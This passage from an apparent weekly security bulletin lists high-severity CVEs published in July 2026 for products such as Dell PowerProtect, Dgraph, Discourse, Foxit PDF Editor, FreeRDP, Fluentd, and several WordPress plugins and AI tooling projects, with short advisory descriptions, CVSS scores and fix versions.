| Primary Vendor -- Product      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                | configured upstream provider credentials through /v1 proxy endpoints depending on enabled providers. This issue is fixed in version 0.5.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| decolua--9router               | 9Router is an AI router & token saver. Prior to 0.4.80, the dashboard login rate limiter in src/lib/auth/loginLimiter.js derives the client identity from the attacker-controlled X-Forwarded-For HTTP header, and src/app/api/auth/login/route.js uses that spoofable value for checkLock and recordFail. A remote attacker can rotate the X-Forwarded-For value on each login attempt to receive a fresh rate-limit bucket, bypass the 5-attempt threshold and progressive lockout durations, and perform unlimited brute-force attempts against the dashboard password. This issue is fixed in version 0.4.80.                                    | 2026-07-10 | 7.3        | <a href="#">CVE-2026-55501</a> |
| decolua--9router               | 9Router is an AI router & token saver. Prior to 0.5.2, 9router validates image URLs by resolving the host before fetching, but open-sse/translator/concerns/image.js performs the later server-side image fetch with a separate DNS resolution. An authenticated attacker with access to the LLM proxy can use a vision-capable model and an attacker-controlled DNS name that first resolves to a public IP and then rebinds to an internal address, allowing server-side requests to internal-only HTTP services. This issue is fixed in version 0.5.2.                                                                                            | 2026-07-10 | 7.4        | <a href="#">CVE-2026-56676</a> |
| Dell--PowerFlex Manager        | Dell PowerFlex Manager, Version prior to 5.1.0.1, contain(s) an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability during OS Repository processing to achieve arbitrary command execution as root, potentially leading to full appliance compromise and lateral movement into managed infrastructure.                                                                                                                                                                                              | 2026-07-10 | 9.1        | <a href="#">CVE-2026-56688</a> |
| Dell--PowerFlex Manager        | Dell PowerFlex Manager, Version prior to 5.1.0.1, contain(s) an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure, Information exposure, and Unauthorized access.                                                                                                                                                                                                                                                                                                     | 2026-07-10 | 8.5        | <a href="#">CVE-2026-56690</a> |
| Dell--PowerFlex Manager        | Dell PowerFlex Manager, Version prior to 5.1.0.1, contain(s) an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.                                                                                                                                                                                                                                                                                                                                                      | 2026-07-10 | 7.7        | <a href="#">CVE-2026-56689</a> |
| Dell--PowerProtect Data Domain | Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access to the system. This is a critical severity vulnerability as it allows an attacker to take complete control of system; so Dell recommends customers to upgrade at the earliest opportunity. | 2026-07-07 | 9.8        | <a href="#">CVE-2026-53481</a> |
| Dell--PowerProtect Data Domain | Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 an improper authentication vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access. This is a critical severity vulnerability as it allows an attacker to take complete control of system; so Dell recommends customers to upgrade at the earliest opportunity.                                                                              | 2026-07-07 | 9.8        | <a href="#">CVE-2026-53483</a> |
| Dell--PowerProtect Data Domain | Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.6, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an Incorrect Authorization vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.                                                                                                                                                                                                                                                    | 2026-07-08 | 8.8        | <a href="#">CVE-2026-56086</a> |
| Dell--PowerProtect Data Domain | Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain a stored cross-site scripting vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability. Exploitation may lead to information disclosure, session theft, or client-side request forgery.                                                                                                                                                                               | 2026-07-08 | 7.1        | <a href="#">CVE-2026-41122</a> |
| Dell--PowerProtect Data Domain | Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain-an improper neutralization of special elements used in an OS command ('OS command Injection') vulnerability. A remote high privileged attacker could potentially exploit this vulnerability, leading to protection mechanism bypass. This is a Critical vulnerability as it allows an attacker to invoke arbitrary command execution with                                                                               | 2026-07-07 | 7.2        | <a href="#">CVE-2026-53479</a> |

# High Vulnerabilities

| Primary Vendor -- Product                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                 | root privileges; so Dell recommends customers to upgrade at the earliest opportunity.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| Dell--PowerProtect Data Domain                  | Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an Integer overflow or wraparound vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.                                                                                                                                                                                                                                                                                           | 2026-07-08 | 7.5        | <a href="#">CVE-2026-53482</a> |
| Dell--Unisphere for PowerMax                    | Dell Unisphere for PowerMax, version(s) 10.3.0.5 and prior, contain(s) a Deserialization of Untrusted Data vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to arbitrary command execution with root privileges.                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-10 | 8.8        | <a href="#">CVE-2026-54469</a> |
| dgraph-io--dgraph                               | Dgraph is an open source distributed GraphQL database. Prior to version 25.3.5, Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port `:9080` without authentication or authorization. As a result, an unauthenticated network client can open `StreamExtSnapshot` and send Badger stream data to the target group's store. In addition, the receiver calls `Prepare()` before processing the stream. This operation deletes and replaces the existing DB data. Version 25.3.5 patches the issue.                                                                                                                                                                | 2026-07-08 | 9.1        | <a href="#">CVE-2026-54061</a> |
| dgraph-io--dgraph                               | Dgraph is an open source distributed GraphQL database. Prior to version 25.3.4, the `checkUserPassword` GraphQL query in Dgraph is vulnerable to DQL (Dgraph Query Language) injection. User-supplied password values are interpolated directly into a DQL `checkpwd()` query via `fmt.Sprintf` without any escaping or parameterization. An attacker can inject a password containing a double-quote character to break out of the DQL string literal and append arbitrary DQL query blocks. Version 25.3.4 patches the issue.                                                                                                                                                                    | 2026-07-08 | 7.5        | <a href="#">CVE-2026-44840</a> |
| discourse--discourse                            | Discourse is an open-source discussion platform. Prior to 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5, the signup flow could allow newly registered users to set primary_group_id and gain whisper-group privileges without legitimate group membership on sites with whispers_allowed_groups configured. This issue is fixed in versions 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5.                                                                                                                                                                                                                                                                                                               | 2026-07-09 | 8.2        | <a href="#">CVE-2026-44787</a> |
| discourse--discourse                            | Discourse is an open-source discussion platform. Prior to 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5, a malicious second factor name on an attacker-controlled account was not escaped in the delete confirmation dialog, allowing stored cross-site scripting when an administrator impersonated that account. This issue is fixed in versions 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5.                                                                                                                                                                                                                                                                                                        | 2026-07-09 | 7.3        | <a href="#">CVE-2026-53963</a> |
| discourse--discourse                            | Discourse is an open-source discussion platform. Prior to 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5, under certain non-default configurations, processing of PDF uploads could be exploited to obtain RCE on the server. This issue is patched in 2026.6.0, 2026.5.1, 2026.4.2, and 2026.1.5.                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-09 | 7.5        | <a href="#">CVE-2026-55420</a> |
| Divi Engine--Divi Form Builder                  | The Divi Form Builder plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 5.1.8. This is due to the update_user() function accepting a user ID parameter from form submissions without verifying that the authenticated user has permission to edit that specific user account, and the handle_register_submission() function only checking if any user is logged in rather than validating permissions for the target user. This makes it possible for authenticated attackers, with subscriber-level access and above, to change the email address and password of any user account, including administrators, resulting in complete account takeover. | 2026-07-09 | 8.8        | <a href="#">CVE-2026-5523</a>  |
| e4jvikwp--VikBooking Hotel Booking Engine & PMS | The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'special_requests' parameter in all versions up to, and including, 1.8.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                | 2026-07-08 | 7.2        | <a href="#">CVE-2026-6818</a>  |
| e4jvikwp--VikBooking Hotel Booking Engine & PMS | The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in all versions up to, and including, 1.8.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                           | 2026-07-08 | 7.2        | <a href="#">CVE-2026-6820</a>  |
| elysiajs--elysia                                | Elysia is a Typescript framework for request validation, type inference, OpenAPI documentation, and client-server communication. Prior to 1.4.29, Elysia uses getAll in form data normalization for multipart/form-data endpoints, causing the amount of work to grow quadratically with the number of unique key-value pairs and allowing CPU exhaustion. This issue is fixed in version 1.4.29.                                                                                                                                                                                                                                                                                                  | 2026-07-08 | 7.5        | <a href="#">CVE-2026-56669</a> |
| espressif--esp-idf                              | ESF-IDF is the Espressif Internet of Things (IOT) Development Framework. Versions 6.0.1, 5.5.4, 5.4.4, 5.3.5, and possibly prior contain an out-of-bounds write in                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-10 | 7.5        | <a href="#">CVE-2026-55687</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | jpeg_parse_dqt_marker() in components/esp_driver_jpeg/jpeg_parse_marker.c because the attacker-controlled DQT marker Tq nibble is used as an index into the qt_tbl array without validating that it is in the range 0..3, allowing malformed JPEG input to corrupt stack memory and reliably trigger a denial of service. This issue is fixed in version 6.0.2 and is expected to be fixed in versions 5.5.5, 5.4.5, and 5.3.6.                                                                                                                                                                                                                                                                                                    |            |            |                                |
| Esri--ArcGIS Server       | Esri ArcGIS Server contains a directory traversal vulnerability. ArcGIS Enterprise on Kubernetes is not impacted. An unauthenticated attacker could exploit this issue by sending crafted path parameters. Successful exploitation could allow overwriting sensitive files on the system. Abuse of this issue can allow full administrative access to ArcGIS Server, with high impact to confidentiality, integrity, and availability. This issue impacts all versions of ArcGIS Server on Windows and Linux 12.0 and prior. This issue does not impact ArcGIS Enterprise for Kubernetes.                                                                                                                                          | 2026-07-06 | 9.8        | <a href="#">CVE-2026-9181</a>  |
| Esri--ArcGIS Server       | Esri ArcGIS Server contains an unrestricted file upload vulnerability. An unauthenticated attacker could exploit this issue by uploading a crafted file to the affected endpoint. Successful exploitation could allow arbitrary file upload, potentially allowing for other attacks. This issue impacts all versions of ArcGIS Server on Windows and Linux 12.0 and prior. This issue does not impact ArcGIS Enterprise for Kubernetes.                                                                                                                                                                                                                                                                                            | 2026-07-06 | 9.8        | <a href="#">CVE-2026-9182</a>  |
| Esri--Portal for ArcGIS   | Esri Portal for ArcGIS versions 12.1 and earlier on Windows, Linux and Kubernetes have a missing authentication for critical function vulnerability allows a remote, unauthenticated attacker to access an unprotected API.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-07 | 9.8        | <a href="#">CVE-2026-13019</a> |
| Esri--Portal for ArcGIS   | A Weak Password Recovery Mechanism for Forgotten Password exists in Esri Portal for ArcGIS versions 12.1 and earlier on Windows, Linux and Kubernetes. A remote, unauthorized attacker may assume ownership of a user's account by manipulating this mechanism. ArcGIS Administrators should configure an email server with ArcGIS Enterprise to facilitate user self-service password recovery. The ability for an administrator to reset a user's password remains unchanged.                                                                                                                                                                                                                                                    | 2026-07-07 | 8.1        | <a href="#">CVE-2026-13020</a> |
| EverMind-AI--EverOS       | EverOS is a memory runtime for agents. Prior to 1.0.1, EverOS is vulnerable to path traversal in the POST /api/v1/memory/add ingestion endpoint because the per-message sender_id field was not validated as a path-safe identifier, unlike app_id and project_id. During user-memory extraction, sender_id is used as owner_id and joined into the filesystem path where the extracted episode is persisted as a Markdown file, so a sender_id containing ../ sequences could direct writes outside the configured memory root and allow an unauthenticated caller to create or overwrite .md files at locations writable by the server process with partially attacker-influenced content. This issue is fixed in version 1.0.1. | 2026-07-10 | 8.2        | <a href="#">CVE-2026-58499</a> |
| flaskbb--flaskbb          | FlaskBB through 2.2.0, fixed in commit acc88cf, contains an authorization bypass vulnerability that allows authenticated moderators to perform unauthorized actions on topics in forums they do not control by submitting crafted topic ID lists. Attackers can include a low-ID topic from a permitted forum as an anchor in a batch request, causing the permission check applied only to the first result to pass, and then execute lock, unlock, delete, or hide actions against topics in unmoderated forums.                                                                                                                                                                                                                 | 2026-07-10 | 8.1        | <a href="#">CVE-2026-22659</a> |
| flaskbb--flaskbb          | FlaskBB through 2.2.0, fixed in commit a5da9a5, contains a logic flaw vulnerability that allows authenticated administrators to delete all built-in authorization groups by exploiting a type mismatch in the bulk delete protection check. The bulk AJAX endpoint in the management views compares received JSON integer group IDs against string literals, causing the protection check to always pass, which allows deletion of all six built-in groups and destroys the forum's permission model, potentially rendering the site unusable.                                                                                                                                                                                     | 2026-07-10 | 7.2        | <a href="#">CVE-2026-22660</a> |
| Flowise--Flowise          | Flowise before 3.1.0 (affected versions 3.0.13 and earlier) uses weak hardcoded default JWT secrets ('auth_token', 'refresh_token') and default audience and issuer values ('AUDIENCE', 'ISSUER') in the enterprise passport authentication middleware (packages/server/src/enterprise/middleware/passport/index.ts). When the corresponding environment variables (JWT_AUTH_TOKEN_SECRET, JWT_REFRESH_TOKEN_SECRET, JWT_AUDIENCE, JWT_ISSUER) are not set, the application silently falls back to these publicly known defaults, allowing an attacker to forge valid JWTs and impersonate any user, including administrators, resulting in authentication bypass.                                                                 | 2026-07-12 | 9.8        | <a href="#">CVE-2026-56271</a> |
| fluent--fluentd           | Fluentd collects events from various data sources and writes them to files, RDBMS, NoSQL, IaaS, SaaS, Hadoop and so on. Prior to 1.19.3, Fluentd allows dynamically constructing file paths using the \${tag} placeholder, and insufficient validation of \${tag} in file configurations such as the path parameter of the out_file plugin allows attackers sending untrusted tags containing path traversal characters to write or                                                                                                                                                                                                                                                                                                | 2026-07-08 | 9.8        | <a href="#">CVE-2026-44024</a> |

# High Vulnerabilities

| Primary Vendor -- Product            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                      | overwrite arbitrary files and potentially achieve remote code execution. This issue is fixed in version 1.19.3.                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| fluent--fluentd                      | Fluentd collects events from various data sources and writes them to files, RDBMS, NoSQL, IaaS, SaaS, Hadoop and so on. Prior to 1.19.3, Fluentd's Monitor Agent plugin in_monitor_agent exposes internal metrics and plugin information via a REST API, and responses from /api/plugins.json and related endpoints unintentionally include internal instance variables that may contain database passwords, API keys, or cloud credentials. This issue is fixed in version 1.19.3.                               | 2026-07-08 | 7.5        | <a href="#">CVE-2026-44025</a> |
| fluent--fluentd                      | Fluentd collects events from various data sources and writes them to files, RDBMS, NoSQL, IaaS, SaaS, Hadoop and so on. Prior to 1.19.3, Fluentd's in_http and in_forward plugins support gzip-compressed data but enforce limits only on compressed payloads through settings such as body_size_limit and chunk_size_limit, allowing crafted compressed payloads to decompress in memory to an excessive size and cause denial of service through memory exhaustion. This issue is fixed in version 1.19.3.      | 2026-07-08 | 7.5        | <a href="#">CVE-2026-44160</a> |
| fluent--fluentd                      | Fluentd collects events from various data sources and writes them to files, RDBMS, NoSQL, IaaS, SaaS, Hadoop and so on. Prior to 1.19.3, the Fluentd out_http output plugin allows placeholders such as \${tag} in the endpoint configuration parameter, and if a placeholder value is derived from untrusted input an attacker can control the destination hostname of outbound HTTP requests and force requests to arbitrary internal services. This issue is fixed in version 1.19.3.                          | 2026-07-08 | 7.2        | <a href="#">CVE-2026-44161</a> |
| Flux159--mcp-server-kubernetes       | MCP Server Kubernetes before 3.9.0 contains an argument injection vulnerability in structured tools (kubectl_get, kubectl_describe, kubectl_delete) that allows attackers to bypass the assertNoDangerousFlags security check by supplying resourceType and name parameters with leading dashes. Attackers can inject the --server flag to redirect kubectl commands to an attacker-controlled API server, causing the operator's bearer token to be transmitted externally and enabling full cluster compromise. | 2026-07-10 | 9.8        | <a href="#">CVE-2026-61459</a> |
| FluxInk--Color Management Driver     | FluxInk (formerly Sunia SPB Peripheral) Color Management Driver (TcnPeripheral64.sys) 1.0.7.2 allows local privilege escalation for a standard user account via arbitrary physical memory mapping at \Device\PhysicalMemory. Fixed in version 1.0.7.6. The fixed driver is currently available in the Windows 11 25H2 HLK (Hardware Lab Kit). The fixed driver may be available through Windows Update or from Lenovo directly.                                                                                   | 2026-07-07 | 7.1        | <a href="#">CVE-2026-58583</a> |
| Foxit Software Inc.-Foxit PDF Editor | The user-controllable executable files will be directly executed by high-privilege processes, allowing low-privilege users to have the opportunity to elevate their privileges to NT AUTHORITY\SYSTEM.                                                                                                                                                                                                                                                                                                            | 2026-07-08 | 8.2        | <a href="#">CVE-2026-57239</a> |
| Foxit Software Inc.-Foxit PDF Editor | The embedded JavaScript in the PDF deleted the pages, making the object invalid. The application attempted to perform a write operation on the invalid pop-up annotations, resulting in the program crashing.                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 7.8        | <a href="#">CVE-2026-13126</a> |
| Foxit Software Inc.-Foxit PDF Editor | The application opens the PDF file. JavaScript then rewrites the document to modify the page structure, resulting in the invalidation of the page objects. However, the thumbnails still use the invalid page objects, ultimately causing the application to crash.                                                                                                                                                                                                                                               | 2026-07-08 | 7.8        | <a href="#">CVE-2026-13127</a> |
| Foxit Software Inc.-Foxit PDF Editor | Embedding JavaScript within a PDF file will cause the page to be deleted. Subsequent scripts will continue to access the relevant properties of the document view, eventually leading to the crash of the application.                                                                                                                                                                                                                                                                                            | 2026-07-08 | 7.8        | <a href="#">CVE-2026-13128</a> |
| Foxit Software Inc.-Foxit PDF Editor | When the application opens a PDF file, JavaScript uses the damaged field tree to trigger field traversal, resulting in the program holding an invalid form object when accessing the field property path. Eventually, the application crashes due to reading an invalid pointer.                                                                                                                                                                                                                                  | 2026-07-08 | 7.8        | <a href="#">CVE-2026-13129</a> |
| Foxit Software Inc.-Foxit PDF Editor | When the application opens a PDF and JavaScript modifies the properties of form fields, it causes the state of the underlying objects referenced by the program to become invalid. Eventually, it reads an illegal memory address, which leads to the crash of the application.                                                                                                                                                                                                                                   | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57237</a> |
| Foxit Software Inc.-Foxit PDF Editor | After the application opened the PDF, JavaScript deleted the form field object. Subsequently, it attempted to access the invalid object, which caused the application to crash.                                                                                                                                                                                                                                                                                                                                   | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57238</a> |
| Foxit Software Inc.-Foxit PDF Editor | When the application opens a PDF file and JavaScript deletes the PDF fields, the subsequent logic still uses the old field pointers, resulting in invalid pointer references and causing the application to crash.                                                                                                                                                                                                                                                                                                | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57240</a> |
| Foxit Software Inc.-Foxit PDF Editor | The application opens the PDF, and JavaScript modifies the form. However, the related objects on the page lack complete lifecycle management and null value validation; when the page state changes, the application continuously dereferences invalid objects, eventually leading to a crash.                                                                                                                                                                                                                    | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57242</a> |



# High Vulnerabilities

| Primary Vendor -- Product             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Foxit Software Inc.--Foxit PDF Editor | After JavaScript resetting the form, the synchronization process lacks re-entry protection and object lifecycle verification, resulting in the failure of the control pointer during the traversal process. After the pointer fails, it still continues to dereference, causing the application to crash.                                                                                                                                                                                          | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57244</a> |
| Foxit Software Inc.--Foxit PDF Editor | When the application opens a PDF, traverses and builds the annotation elements related to hyperlinks, it fails to validate the abnormal annotation relationships and field combinations. This results in the internal objects entering an invalid state. Eventually, during the destruction phase, an invalid pointer write occurred, causing the application to crash.                                                                                                                            | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57245</a> |
| Foxit Software Inc.--Foxit PDF Editor | When dealing with abnormally constructed objects, there is a lack of argument validation; JavaScript triggers signature verification, but the signature plugin does not perform validation when copying the abnormal string, causing the application to crash.                                                                                                                                                                                                                                     | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57246</a> |
| Foxit Software Inc.--Foxit PDF Editor | The application re-enters the document structure via field processing and deletes the current page, and then continues using the field objects obtained before deletion, triggering an illegal read and crashing.                                                                                                                                                                                                                                                                                  | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57247</a> |
| Foxit Software Inc.--Foxit PDF Editor | When the application opens a PDF file and JavaScript writes annotation attributes, there is a lack of sufficient object type and argument checks. As a result, due to the damage to the internal structure of the annotations, it causes the application to crash during subsequent release.                                                                                                                                                                                                       | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57248</a> |
| Foxit Software Inc.--Foxit PDF Editor | After the application opened the PDF file, the script first reset the annotation status, then triggered the reset form event by additional action. During the re-entry process, the application access invalid objects and crashed.                                                                                                                                                                                                                                                                | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57249</a> |
| Foxit Software Inc.--Foxit PDF Editor | When the application opens a PDF and JavaScript resets the form fields, the script re-enters the interface. The underlying native object is damaged, but the application does not perform validation. The function call on the damaged object leads to the application crashing.                                                                                                                                                                                                                   | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57250</a> |
| Foxit Software Inc.--Foxit PDF Editor | The application opens a PDF, but the cloud-like appearance of the construction process lacks proper setting of an upper limit and consistency checks. Out-of-bounds access to the underlying array is exposed, ultimately leading to a crash of the application.                                                                                                                                                                                                                                   | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57251</a> |
| Foxit Software Inc.--Foxit PDF Editor | When the application opens a PDF file, during the process of JavaScript deleting pages and removing attachment annotations, it will cause the attachment panel to continue accessing invalid pointers, eventually leading to the application crashing.                                                                                                                                                                                                                                             | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57252</a> |
| Foxit Software Inc.--Foxit PDF Editor | There is an abnormal annotation within the PDF that is referenced by other objects. When the application parses the PDF, it fails to perform proper type checking, ultimately causing the application to crash.                                                                                                                                                                                                                                                                                    | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57254</a> |
| Foxit Software Inc.--Foxit PDF Editor | When the application opens a PDF and executes JavaScript, it performs abnormal operations on the list box field, and this operation is repeated after the form is reset. During this process, the application failed to adequately verify the validity of the form objects and their internal dictionary pointers, resulting in accessing internal members of invalid or improperly initialized fields. This led to an illegal pointer read, ultimately causing the application to crash.          | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57256</a> |
| Foxit Software Inc.--Foxit PDF Editor | The application opened a PDF file containing an abnormal Unity 3D object. During parsing, the application incorrectly resolved a portion of the abnormal object as a pointer and used it as a valid address, ultimately causing the application to crash.                                                                                                                                                                                                                                          | 2026-07-08 | 7.8        | <a href="#">CVE-2026-57260</a> |
| FreeRDP--FreeRDP                      | FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.27.1, FreeRDP clients launched with the non-default /cache:codec:rfx option pass desktop stride and height to RemoteFX decoding for Cache Bitmap V3 data while allocating bitmap->data only for the smaller DstWidth and DstHeight in gdi_Bitmap_Decompress, allowing a malicious RDP server to trigger a heap out-of-bounds write with attacker-controlled offset and content. This issue is fixed in version 3.27.1. | 2026-07-10 | 7.5        | <a href="#">CVE-2026-55827</a> |
| FreeRDP--FreeRDP                      | FreeRDP before 3.22.0 contains a use-after-free vulnerability in dvcman_channel_close and dvcman_call_on_receive due to improper synchronization of channel_callback access. A malicious RDP server can trigger a race condition by sending DYNVC_DATA and DYNVC_CLOSE messages concurrently, causing heap-use-after-free in the drdynvc client thread and potentially enabling remote code execution or denial of service.                                                                        | 2026-07-08 | 7          | <a href="#">CVE-2026-56297</a> |
| Genetec Inc.--Genetec Security Center | A flaw in the authentication mechanism for video stream requests in Genetec Security Center 5.14.0.0 prior to build 5.14.178.18 may allow an unauthenticated attacker to access live video streams.                                                                                                                                                                                                                                                                                                | 2026-07-06 | 7.5        | <a href="#">CVE-2026-55727</a> |
| genolve--Genolve Genolve AI           | The Genolve - AI image AI video generation plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the genolve_setopt() function in all versions up to, and including, 5.0.5. This makes it                                                                                                                                                                                                                                                   | 2026-07-11 | 8.8        | <a href="#">CVE-2026-1359</a>  |



# High Vulnerabilities

| Primary Vendor -- Product                                                               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Business Graphics, AI Images                                                            | possible for authenticated attackers, with Contributor-level access and above, to update arbitrary WordPress options, including enabling user registration and setting the default role to administrator, resulting in privilege escalation.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| getgrav--grav                                                                           | Grav API plugin before v1.0.0-rc.16 accepts JWT tokens via the ?token= URL query parameter and responds with Access-Control-Allow-Origin: *, allowing unauthenticated attackers to make fully authenticated cross-origin API requests from any malicious website. Attackers who obtain a leaked JWT token from access logs, proxy logs, browser history, or Referrer headers can create persistent backdoor super-admin accounts and exfiltrate sensitive configuration and user data.                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-08 | 7.5        | <a href="#">CVE-2026-58656</a> |
| getwpfunnels--WPFunnels Funnel Builder for WooCommerce with Checkout & One Click Upsell | The WPFunnels - Funnel Builder for WooCommerce with Checkout & One Click Upsell plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 3.12.7 via the 'postData' parameter parameter. This is due to unsanitized write of attacker-controlled postData values into a PHP-includeable .log file combined with the use of include_once to render that file in wpfnl_show_log. This makes it possible for unauthenticated attackers to execute code on the server. Exploitation requires that the Log Settings "Enable Logs" toggle is on and that an administrator subsequently opens the polluted log file via the plugin's Log Settings View UI; however, the nonce required to reach the optin endpoint is publicly emitted on every funnel step page, so the injection step itself is fully unauthenticated. | 2026-07-07 | 9.8        | <a href="#">CVE-2026-14345</a> |
| ghostfolio--ghostfolio                                                                  | The GET /api/v1/public/:accessId/portfolio endpoint in ghostfolio accepts private access IDs without validating granteeUserId filtering, allowing unauthenticated access to full portfolio data. Attackers with a private access ID can retrieve sensitive portfolio information including holdings, quantities, buy prices, and performance metrics without authentication.                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-07 | 7.5        | <a href="#">CVE-2026-59708</a> |
